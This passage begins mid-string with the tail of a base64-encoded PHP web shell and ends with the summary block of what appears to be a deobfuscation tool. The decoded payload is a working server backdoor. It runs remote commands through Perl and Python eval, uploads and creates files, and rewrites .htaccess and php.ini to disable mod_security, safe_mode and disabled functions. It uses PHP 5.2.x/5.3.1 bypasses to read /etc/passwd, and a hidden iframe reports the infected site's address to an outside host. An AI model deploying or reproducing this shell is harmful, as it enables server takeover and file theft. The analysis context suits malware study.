NzUnPiI7IA0KJHBlcmwtPmV2YWwoInN5c3RlbSgnIi4kX0dFVFsnY21kJ10uIicpIik7IA0KZWNobyAiPC90ZXh0YXJlYT4iOyANCiRfR0VUWydjbWQnXT1odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydjbWQnXSk7IA0KZWNobyAiPGJyPjxmb3JtPltQZXJsXUNNRDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCB2YWx1ZT0nIi4kX0dFVFsnY21kJ10uIicgc2l6ZT0yNT48L2Zvcm0+IjsNCn0NCmlmICghZXh0ZW5zaW9uX2xvYWRlZCgncHl0aG9uJykpIHsNCgkgZWNobygiPGJyPipweXRob24gZXh0ZW5zaW9uIGlzIG5vdCBsb2FkZWRcbiIpOw0KfQ0KZWxzZQ0Kew0KZWNobyAiPGJyPjxmb3JtPltQeXRob25dQ01EOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHZhbHVlPSciLiRfR0VUWydjbWQnXS4iJyBzaXplPTI1PjwvZm9ybT4iOw0KLy9ldmFsIHB5dGhvbiBjb2RlDQokY21kID0gJF9HRVRbJ2NtZCddOw0KJHJlcyA9IHB5dGhvbl9ldmFsKCcNCmltcG9ydCBvcw0KcHdkID0gb3MuZ2V0Y3dkKCkNCnByaW50IHB3ZA0Kb3Muc3lzdGVtKCRjbWQpDQonKTsNCg0KLy9zaG93IHJlc3VsdA0KZWNobyAkcmVzOw0KfQ0KfQ0KPz4NCjw/DQpmdW5jdGlvbiBwZXJsZXgoKSB7DQppZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpDQp7DQplY2hvKCc8c3Ryb25nPlBFUkw8L3N0cm9uZz4gLSA8aT48dT5FeHRlbnNpb24gTG9hZGVkPC91PjwvaT4nKTsNCn0NCmVsc2UNCnsNCmVjaG8oJzxzdHJvbmc+UEVSTDwvc3Ryb25nPiAtIDxpPjx1PkV4dGVuc2lvbiBOb3QgTG9hZGVkPC91PjwvaT4nKTsNCn0NCn0NCmZ1bmN0aW9uIHB5dGhvbmV4KCkgew0KaWYoZXh0ZW5zaW9uX2xvYWRlZCgncHl0aG9uJykpDQp7DQplY2hvKCI8c3Ryb25nPlBZVEhPTjwvc3Ryb25nPiAtIDxpPjx1PkV4dGVuc2lvbiBMb2FkZWQ8L3U+PC9pPiIpOw0KfQ0KZWxzZQ0Kew0KZWNobygiPHN0cm9uZz5QWVRIT048L3N0cm9uZz4gLSA8aT48dT5FeHRlbnNpb24gTm90IExvYWRlZDwvdT48L2k+Iik7DQp9DQp9DQo/Pg0KPGRpdiAgY2xhc3M9YmFyaGVhZGVyMj48Yj5bIENPTU1BTkRTIFBBTkVMIF08L2I+PC9kaXY+DQo8dGFibGUgY2xhc3M9bWFpbnBhbmVsPg0KPHRyPjx0ZD5Db21tYW5kOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlF1aWNrIENvbW1hbmRzOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPg0KICAgIDxzZWxlY3QgbmFtZT0iY21kIj4NCiAgICA8P3BocA0KICAgIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+IjsNCiAgICB9DQogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMyIGFzICRhbHMpIHsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+IjsNCiAgICB9DQogICAgPz4NCiAgICA8L3NlbGVjdD4gLQ0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+DQogICAgPC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD5VcGxvYWQ6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9InVwbG9hZCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+DQogICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPiA8aWZyYW1lIHdpZHRoPScwJyBoZWlnaHQ9JzAnIGZyYW1lYm9yZGVyPTAgc3JjPWh0dHA6Ly93d3cuYmxhY2tzaG9wLmNjL3NwZWMvaW5kZXgucGhwL3BpYy5wbmc/YT1odHRwOi8vPD8gZWNobyAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ID8+PD8gZWNobyAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgPz4+PC9pZnJhbWU+IDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj4gPD9waHAgZWNobyAkd2R0OyA/Pg0KICAgIDwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBGaWxlOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPiA8P3BocCBlY2hvICR3ZHQ7ID8+DQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBEaXI6PC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gDQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+IDw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+DQo8L3RkPjwvdHI+DQo8L1RBQkxFPg0KDQoNCg0KPGRpdiAgY2xhc3M9YmFyaGVhZGVyMj48Yj5bIEJ5cGFzcyBQQU5FTCBdPC9iPjwvZGl2Pg0KPHRhYmxlIGNsYXNzPW1haW5wYW5lbD4NCjx0cj48dGQ+DQo8Pw0KZWNobyBwZXJsZXgoKTsNCmVjaG8gIjxicj4iOw0KZWNobyBweXRob25leCgpOw0KPz4NCjwvdGQ+DQo8dGQ+DQppZiBvbmUgb2YgdGhlIHR3byBleHRlbnNpb25zIGFyZSBsb2FkZWQgeW91IGNhbiB1c2UgdGhlbSB0byBieXBhc3Mgc2FmZW1vZGUvZGlzYWJsZWQgZnVuY3Rpb25zIGV0Yy4uLiBnbyB0byA8YSBocmVmPSI8PyBlY2hvICRzdXJsOyA/Png9ZXh0ZSI+RXh0LkJ5cGFzczwvYT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+QnlwYXNzIHBocC5pbmkvLmh0YWNjZXNzPC90ZD4NCjx0ZD4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KIC0gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnlwYXNzIiB2YWx1ZT0iYnlwYXNzIj4NCjwvZm9ybT4NCjw/DQppZigkX1BPU1RbJ2J5cGFzcyddKQ0Kew0KJG1vZHNlY2J5ID0gQGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJG1vZHNlY2J5LCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkbW9kc2VjYnkpOw0KJHBocGluaXNlY2J5MSA9IEBmb3BlbigicGhwLmluaSIsInciKTsNCmZ3cml0ZSgkcGhwaW5pc2VjYnkxLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJHBocGluaXNlY2J5MSk7DQplY2hvICIuaHRhY2Nlc3MgPSBieXBhc3MgY29tcGxldGUuPGJyPnBocC5pbmkgPSBieXBhc3MgY29tcGxldGUuIjsNCn0NCj8+DQoNCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIDUuMi45PC90ZD4NCjx0ZD4NCg0KPD9waHANCmlmKCFlbXB0eSgkX0dFVFsnZmlsZSddKSkgJGZpbGU9JF9HRVRbJ2ZpbGUnXTsNCmVsc2UgaWYoIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgJGZpbGU9JF9QT1NUWydmaWxlJ107DQoNCmVjaG8gJw0KPGZvcm0gbmFtZT0iZm9ybSIgYWN0aW9uPSJodHRwOi8vJy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsiU0NSSVBUX04NCkFNRSJdKS4kX1NFUlZFUlsiUEhQX1NFTEYiXS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ii9ldGMvcGFzc3dkIj4gLSA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJoYXJkc3R5bGV6IiB2YWx1ZT0iU2hvdyI+PC9mb3JtPic7DQoNCmlmKCRfUE9TVFsnaGFyZHN0eWxleiddKQ0Kew0KJGxldmVsPTA7DQoNCmlmKCFmaWxlX2V4aXN0cygiZmlsZToiKSkNCglta2RpcigiZmlsZToiKTsNCmNoZGlyKCJmaWxlOiIpOw0KJGxldmVsKys7DQoNCiRoYXJkc3R5bGUgPSBleHBsb2RlKCIvIiwgJGZpbGUpOw0KDQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGxldmVsKys7DQoJfQ0KfQ0KDQp3aGlsZSgkbGV2ZWwtLSkgY2hkaXIoIi4uIik7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZmlsZTpmaWxlOi8vLyIuJGZpbGUpOw0KDQplY2hvICc8Rk9OVCBDT0xPUj0iUkVEIj4gPHRleHRhcmVhIHJvd3M9IjEwIiBjb2xzPSIxMjAiPic7DQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KZWNobyAnIDwvdGV4dGFyZWE+IDwvRk9OVD4nOw0KY3VybF9jbG9zZSgkY2gpOw0KfQ0KPz4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIDUuMi4xMi81LjMuMTwvdGQ+DQo8dGQ+DQo8P3BocA0KDQokZmFrZWRpcj0iY3giOw0KJGZha2VkZXA9MTY7DQoNCiRudW09MDsNCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJw0KPGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ii9ldGMvcGFzc3dkIj4gLSA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJoeW0iIHZhbHVlPSJDcmVhdGUgU3ltbGluayI+PC9mb3JtPic7DQoNCmlmKGVtcHR5KCRmaWxlKSkNCglleGl0Ow0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCg0KJGxldmVsPTA7DQoNCmZvcigkYXM9MDskYXM8JGZha2VkZXA7JGFzKyspew0KCWlmKCFmaWxlX2V4aXN0cygkZmFrZWRpcikpDQoJCW1rZGlyKCRmYWtlZGlyKTsNCgljaGRpcigkZmFrZWRpcik7DQp9DQoNCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRhcysrOw0KCX0NCn0NCiRhcysrOw0Kd2hpbGUoJGFzLS0pDQoJY2hkaXIoIi4uIik7DQoNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQoNCkBzeW1saW5rKHN0cl9yZXBlYXQoJGZha2VkaXIuIi8iLCRmYWtlZGVwKSwiZmFrZXN5bWxpbmsiKTsNCg0Kd2hpbGUoMSkNCglpZih0cnVlPT0oQHN5bWxpbmsoImZha2VzeW1saW5rLyIuc3RyX3JlcGVhdCgiLi4vIiwkZmFrZWRlcC0xKS4kZmlsZSwgInN5bWxpbmsiLiRudW0pKSkgYnJlYWs7DQoJZWxzZSAkbnVtKys7DQoNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCg0KZGllKCc8Rk9OVCBDT0xPUj0iUkVEIj5jaGVjayBzeW1saW5rIDxhIGhyZWY9Ii4vc3ltbGluaycuJG51bS4nIj5zeW1saW5rJy4kbnVtLic8L2E+IGZpbGU8L0ZPTlQ+Jyk7DQoNCj8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9UQUJMRT4NCg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGNhcHJpdjhleGl0KCk7IA=='));?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 68f28aabd5049afad66de5deb7ff5804 |
Eval Count | 1 |
Decode Time | 1555 ms |